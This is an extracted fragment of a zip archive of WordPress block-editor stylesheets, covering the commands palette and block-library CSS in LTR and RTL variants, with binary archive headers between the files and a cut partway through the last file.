}PK1Xd[�<�pqqdist/commands/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.commands-command-menu{border-radius:4px;margin:auto;max-width:400px;position:relative;top:calc(5% + 60px);width:calc(100% - 32px)}@media (min-width:600px){.commands-command-menu{top:calc(10% + 60px)}}.commands-command-menu .components-modal__content{margin:0;padding:0}.commands-command-menu__overlay{align-items:start;display:block}.commands-command-menu__header{align-items:center;display:flex;padding:0 16px}.commands-command-menu__header .components-button{border:1px solid #949494;border-left:0;border-radius:0 2px 2px 0;height:56px;justify-content:center;width:56px}.commands-command-menu__header .components-button+[cmdk-input]{border-bottom-right-radius:0;border-top-right-radius:0}.commands-command-menu__container{will-change:transform}.commands-command-menu__container [cmdk-input]{border:none;border-radius:0;color:#1e1e1e;font-size:15px;line-height:28px;margin:0;outline:none;padding:16px 4px;width:100%}.commands-command-menu__container [cmdk-input]::placeholder{color:#757575}.commands-command-menu__container [cmdk-input]:focus{box-shadow:none;outline:none}.commands-command-menu__container [cmdk-item]{align-items:center;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;font-size:13px}.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{background:var(--wp-admin-theme-color);color:#fff}.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{fill:#fff}.commands-command-menu__container [cmdk-item][aria-disabled=true]{color:#949494;cursor:not-allowed}.commands-command-menu__container [cmdk-item] svg{fill:#1e1e1e}.commands-command-menu__container [cmdk-item]>div{min-height:40px;padding:4px 40px 4px 4px}.commands-command-menu__container [cmdk-item]>.has-icon{padding-right:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list]{max-height:368px;overflow:auto}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]:last-child [cmdk-group-items]:not(:empty){padding-bottom:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){padding:0 8px}.commands-command-menu__container [cmdk-empty]{align-items:center;color:#1e1e1e;display:flex;justify-content:center;padding:8px 0 32px;white-space:pre-wrap}.commands-command-menu__container [cmdk-loading]{padding:16px}.commands-command-menu__container [cmdk-list-sizer]{position:relative}.commands-command-menu__item span{display:inline-block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.commands-command-menu__item mark{background:unset;color:inherit;font-weight:600}PK1Xd[�'KHoodist/commands/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.commands-command-menu{border-radius:4px;margin:auto;max-width:400px;position:relative;top:calc(5% + 60px);width:calc(100% - 32px)}@media (min-width:600px){.commands-command-menu{top:calc(10% + 60px)}}.commands-command-menu .components-modal__content{margin:0;padding:0}.commands-command-menu__overlay{align-items:start;display:block}.commands-command-menu__header{align-items:center;display:flex;padding:0 16px}.commands-command-menu__header .components-button{border:1px solid #949494;border-radius:2px 0 0 2px;border-right:0;height:56px;justify-content:center;width:56px}.commands-command-menu__header .components-button+[cmdk-input]{border-bottom-left-radius:0;border-top-left-radius:0}.commands-command-menu__container{will-change:transform}.commands-command-menu__container [cmdk-input]{border:none;border-radius:0;color:#1e1e1e;font-size:15px;line-height:28px;margin:0;outline:none;padding:16px 4px;width:100%}.commands-command-menu__container [cmdk-input]::placeholder{color:#757575}.commands-command-menu__container [cmdk-input]:focus{box-shadow:none;outline:none}.commands-command-menu__container [cmdk-item]{align-items:center;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;font-size:13px}.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{background:var(--wp-admin-theme-color);color:#fff}.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{fill:#fff}.commands-command-menu__container [cmdk-item][aria-disabled=true]{color:#949494;cursor:not-allowed}.commands-command-menu__container [cmdk-item] svg{fill:#1e1e1e}.commands-command-menu__container [cmdk-item]>div{min-height:40px;padding:4px 4px 4px 40px}.commands-command-menu__container [cmdk-item]>.has-icon{padding-left:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list]{max-height:368px;overflow:auto}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]:last-child [cmdk-group-items]:not(:empty){padding-bottom:8px}.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){padding:0 8px}.commands-command-menu__container [cmdk-empty]{align-items:center;color:#1e1e1e;display:flex;justify-content:center;padding:8px 0 32px;white-space:pre-wrap}.commands-command-menu__container [cmdk-loading]{padding:16px}.commands-command-menu__container [cmdk-list-sizer]{position:relative}.commands-command-menu__item span{display:inline-block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.commands-command-menu__item mark{background:unset;color:inherit;font-weight:600}PK1Xd[PG�
�
�
dist/commands/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.commands-command-menu{
  border-radius:4px;
  margin:auto;
  max-width:400px;
  position:relative;
  top:calc(5% + 60px);
  width:calc(100% - 32px);
}
@media (min-width:600px){
  .commands-command-menu{
    top:calc(10% + 60px);
  }
}
.commands-command-menu .components-modal__content{
  margin:0;
  padding:0;
}

.commands-command-menu__overlay{
  align-items:start;
  display:block;
}

.commands-command-menu__header{
  align-items:center;
  display:flex;
  padding:0 16px;
}
.commands-command-menu__header .components-button{
  border:1px solid #949494;
  border-left:0;
  border-radius:0 2px 2px 0;
  height:56px;
  justify-content:center;
  width:56px;
}
.commands-command-menu__header .components-button+[cmdk-input]{
  border-bottom-right-radius:0;
  border-top-right-radius:0;
}

.commands-command-menu__container{
  will-change:transform;
}
.commands-command-menu__container [cmdk-input]{
  border:none;
  border-radius:0;
  color:#1e1e1e;
  font-size:15px;
  line-height:28px;
  margin:0;
  outline:none;
  padding:16px 4px;
  width:100%;
}
.commands-command-menu__container [cmdk-input]::placeholder{
  color:#757575;
}
.commands-command-menu__container [cmdk-input]:focus{
  box-shadow:none;
  outline:none;
}
.commands-command-menu__container [cmdk-item]{
  align-items:center;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  font-size:13px;
}
.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{
  fill:#fff;
}
.commands-command-menu__container [cmdk-item][aria-disabled=true]{
  color:#949494;
  cursor:not-allowed;
}
.commands-command-menu__container [cmdk-item] svg{
  fill:#1e1e1e;
}
.commands-command-menu__container [cmdk-item]>div{
  min-height:40px;
  padding:4px 40px 4px 4px;
}
.commands-command-menu__container [cmdk-item]>.has-icon{
  padding-right:8px;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list]{
  max-height:368px;
  overflow:auto;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]:last-child [cmdk-group-items]:not(:empty){
  padding-bottom:8px;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){
  padding:0 8px;
}
.commands-command-menu__container [cmdk-empty]{
  align-items:center;
  color:#1e1e1e;
  display:flex;
  justify-content:center;
  padding:8px 0 32px;
  white-space:pre-wrap;
}
.commands-command-menu__container [cmdk-loading]{
  padding:16px;
}
.commands-command-menu__container [cmdk-list-sizer]{
  position:relative;
}

.commands-command-menu__item span{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.commands-command-menu__item mark{
  background:unset;
  color:inherit;
  font-weight:600;
}PK1Xd[g|��
�
dist/commands/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.commands-command-menu{
  border-radius:4px;
  margin:auto;
  max-width:400px;
  position:relative;
  top:calc(5% + 60px);
  width:calc(100% - 32px);
}
@media (min-width:600px){
  .commands-command-menu{
    top:calc(10% + 60px);
  }
}
.commands-command-menu .components-modal__content{
  margin:0;
  padding:0;
}

.commands-command-menu__overlay{
  align-items:start;
  display:block;
}

.commands-command-menu__header{
  align-items:center;
  display:flex;
  padding:0 16px;
}
.commands-command-menu__header .components-button{
  border:1px solid #949494;
  border-radius:2px 0 0 2px;
  border-right:0;
  height:56px;
  justify-content:center;
  width:56px;
}
.commands-command-menu__header .components-button+[cmdk-input]{
  border-bottom-left-radius:0;
  border-top-left-radius:0;
}

.commands-command-menu__container{
  will-change:transform;
}
.commands-command-menu__container [cmdk-input]{
  border:none;
  border-radius:0;
  color:#1e1e1e;
  font-size:15px;
  line-height:28px;
  margin:0;
  outline:none;
  padding:16px 4px;
  width:100%;
}
.commands-command-menu__container [cmdk-input]::placeholder{
  color:#757575;
}
.commands-command-menu__container [cmdk-input]:focus{
  box-shadow:none;
  outline:none;
}
.commands-command-menu__container [cmdk-item]{
  align-items:center;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  font-size:13px;
}
.commands-command-menu__container [cmdk-item]:active,.commands-command-menu__container [cmdk-item][aria-selected=true]{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.commands-command-menu__container [cmdk-item]:active svg,.commands-command-menu__container [cmdk-item][aria-selected=true] svg{
  fill:#fff;
}
.commands-command-menu__container [cmdk-item][aria-disabled=true]{
  color:#949494;
  cursor:not-allowed;
}
.commands-command-menu__container [cmdk-item] svg{
  fill:#1e1e1e;
}
.commands-command-menu__container [cmdk-item]>div{
  min-height:40px;
  padding:4px 4px 4px 40px;
}
.commands-command-menu__container [cmdk-item]>.has-icon{
  padding-left:8px;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list]{
  max-height:368px;
  overflow:auto;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]:last-child [cmdk-group-items]:not(:empty){
  padding-bottom:8px;
}
.commands-command-menu__container [cmdk-root]>[cmdk-list] [cmdk-list-sizer]>[cmdk-group]>[cmdk-group-items]:not(:empty){
  padding:0 8px;
}
.commands-command-menu__container [cmdk-empty]{
  align-items:center;
  color:#1e1e1e;
  display:flex;
  justify-content:center;
  padding:8px 0 32px;
  white-space:pre-wrap;
}
.commands-command-menu__container [cmdk-loading]{
  padding:16px;
}
.commands-command-menu__container [cmdk-list-sizer]{
  position:relative;
}

.commands-command-menu__item span{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.commands-command-menu__item mark{
  background:unset;
  color:inherit;
  font-weight:600;
}PK1Xd[�5s!dist/block-library/common-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(-135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
  background:linear-gradient(-135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
  background:linear-gradient(-135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(-135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(-135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(-135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(-135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  line-height:normal;
  padding:15px 23px 14px;
  right:5px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-left-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-right-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-left-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-right-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}PK1Xd[b08qq%dist/block-library/editor-rtl.min.cssnu�[���ul.wp-block-archives{padding-right:2.5em}.wp-block-archives .wp-block-archives{border:0;margin:0}.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table}.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-right:16px}.wp-block-code code{background:none}.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:right}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:left}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}.wp-block-comment-author-avatar__placeholder{border:1px dashed;height:100%;width:100%;stroke:currentColor;stroke-dasharray:3}.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-comments-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-left:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-comments-title.has-background{padding:inherit}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:right}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-details summary div{display:inline}.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block[data-align=center]>.wp-block-file{text-align:center}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em}.wp-block-form-input .is-input-hidden{background:repeating-linear-gradient(-45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px dashed;box-sizing:border-box;font-size:.85em;opacity:.3;padding:.5em}.wp-block-form-input .is-input-hidden input[type=text]{background:#0000}.wp-block-form-input.is-selected .is-input-hidden{background:none;opacity:1}.wp-block-form-input.is-selected .is-input-hidden input[type=text]{background:unset}.wp-block-form-submission-notification>*{background:repeating-linear-gradient(-45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px dashed;box-sizing:border-box;opacity:.25}.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{background:none;opacity:1}.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{display:none!important}.wp-block-form-submission-notification:after{align-items:center;display:flex;font-size:1.1em;height:100%;justify-content:center;position:absolute;right:0;top:0;width:100%}.wp-block-form-submission-notification.form-notification-type-success:after{content:attr(data-message-success)}.wp-block-form-submission-notification.form-notification-type-error:after{content:attr(data-message-error)}.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-right:0;padding-right:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-right:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-right:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce 